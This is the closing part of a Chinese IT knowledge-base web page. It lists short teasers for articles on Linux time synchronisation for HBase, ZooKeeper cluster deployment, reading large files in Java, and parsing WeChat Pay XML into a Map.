                                <li><a href="/article/3410.htm"
                                       title="linux下时间同步" target="_blank">linux下时间同步</a>
                                    <span class="text-muted">nonobaba</span>
<a class="tag" taget="_blank" href="/search/ntp/1.htm">ntp</a>
                                    <div>今天在linux下做hbase集群的时候,发现hmaster启动成功了,但是用hbase命令进入shell的时候报了一个错误&nbsp; PleaseHoldException: Master is initializing,查看了日志,大致意思是说master和slave时间不同步,没办法,只好找一种手动同步一下,后来发现一共部署了10来台机器,手动同步偏差又比较大,所以还是从网上找现成的解决方</div>
                                </li>
                                <li><a href="/article/3537.htm"
                                       title="ZooKeeper3.4.6的集群部署" target="_blank">ZooKeeper3.4.6的集群部署</a>
                                    <span class="text-muted">roadrunners</span>
<a class="tag" taget="_blank" href="/search/zookeeper/1.htm">zookeeper</a><a class="tag" taget="_blank" href="/search/%E9%9B%86%E7%BE%A4/1.htm">集群</a><a class="tag" taget="_blank" href="/search/%E9%83%A8%E7%BD%B2/1.htm">部署</a>
                                    <div>ZooKeeper是Apache的一个开源项目,在分布式服务中应用比较广泛。它主要用来解决分布式应用中经常遇到的一些数据管理问题,如:统一命名服务、状态同步、集群管理、配置文件管理、同步锁、队列等。这里主要讲集群中ZooKeeper的部署。 
&nbsp; 
1、准备工作 
我们准备3台机器做ZooKeeper集群,分别在3台机器上创建ZooKeeper需要的目录。 
&nbsp; 
数据存储目录</div>
                                </li>
                                <li><a href="/article/3664.htm"
                                       title="Java高效读取大文件" target="_blank">Java高效读取大文件</a>
                                    <span class="text-muted">tomcat_oracle</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a>
                                    <div>  读取文件行的标准方式是在内存中读取,Guava 和Apache Commons IO都提供了如下所示快速读取文件行的方法:     Files.readLines(new File(path), Charsets.UTF_8);     FileUtils.readLines(new File(path));     这种方法带来的问题是文件的所有行都被存放在内存中,当文件足够大时很快就会导致</div>
                                </li>
                                <li><a href="/article/3791.htm"
                                       title="微信支付api返回的xml转换为Map的方法" target="_blank">微信支付api返回的xml转换为Map的方法</a>
                                    <span class="text-muted">xu3508620</span>
<a class="tag" taget="_blank" href="/search/xml/1.htm">xml</a><a class="tag" taget="_blank" href="/search/map/1.htm">map</a><a class="tag" taget="_blank" href="/search/%E5%BE%AE%E4%BF%A1api/1.htm">微信api</a>
                                    <div>举例如下: 
&lt;xml&gt; 
&nbsp;&nbsp; &lt;return_code&gt;&lt;![CDATA[SUCCESS]]&gt;&lt;/return_code&gt; 
&nbsp;&nbsp; &lt;return_msg&gt;&lt;![CDATA[OK]]&gt;&lt;/return_msg&gt; 
&nbsp;&nbsp; &lt;appid&gt;&lt</div>
                                </li>
                </ul>
            </div>
        </div>
    </div>

<div>
    <div class="container">
        <div class="indexes">
            <strong>按字母分类:</strong>
            <a href="/tags/A/1.htm" target="_blank">A</a><a href="/tags/B/1.htm" target="_blank">B</a><a href="/tags/C/1.htm" target="_blank">C</a><a
                href="/tags/D/1.htm" target="_blank">D</a><a href="/tags/E/1.htm" target="_blank">E</a><a href="/tags/F/1.htm" target="_blank">F</a><a
                href="/tags/G/1.htm" target="_blank">G</a><a href="/tags/H/1.htm" target="_blank">H</a><a href="/tags/I/1.htm" target="_blank">I</a><a
                href="/tags/J/1.htm" target="_blank">J</a><a href="/tags/K/1.htm" target="_blank">K</a><a href="/tags/L/1.htm" target="_blank">L</a><a
                href="/tags/M/1.htm" target="_blank">M</a><a href="/tags/N/1.htm" target="_blank">N</a><a href="/tags/O/1.htm" target="_blank">O</a><a
                href="/tags/P/1.htm" target="_blank">P</a><a href="/tags/Q/1.htm" target="_blank">Q</a><a href="/tags/R/1.htm" target="_blank">R</a><a
                href="/tags/S/1.htm" target="_blank">S</a><a href="/tags/T/1.htm" target="_blank">T</a><a href="/tags/U/1.htm" target="_blank">U</a><a
                href="/tags/V/1.htm" target="_blank">V</a><a href="/tags/W/1.htm" target="_blank">W</a><a href="/tags/X/1.htm" target="_blank">X</a><a
                href="/tags/Y/1.htm" target="_blank">Y</a><a href="/tags/Z/1.htm" target="_blank">Z</a><a href="/tags/0/1.htm" target="_blank">其他</a>
        </div>
    </div>
</div>
<footer id="footer" class="mb30 mt30">
    <div class="container">
        <div class="footBglm">
            <a target="_blank" href="/">首页</a> -
            <a target="_blank" href="/custom/about.htm">关于我们</a> -
            <a target="_blank" href="/search/Java/1.htm">站内搜索</a> -
            <a target="_blank" href="/sitemap.txt">Sitemap</a> -
            <a target="_blank" href="/custom/delete.htm">侵权投诉</a>
        </div>
        <div class="copyright">版权所有 IT知识库 CopyRight © 2000-2050 E-COM-NET.COM , All Rights Reserved.
<!--            <a href="https://beian.miit.gov.cn/" rel="nofollow" target="_blank">京ICP备09083238号</a><br>-->
        </div>
    </div>
</footer>
<!-- 代码高亮 -->
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shCore.js"></script>
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shLegacy.js"></script>
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shAutoloader.js"></script>
<link type="text/css" rel="stylesheet" href="/static/syntaxhighlighter/styles/shCoreDefault.css"/>
<script type="text/javascript" src="/static/syntaxhighlighter/src/my_start_1.js"></script>





</body>

</html>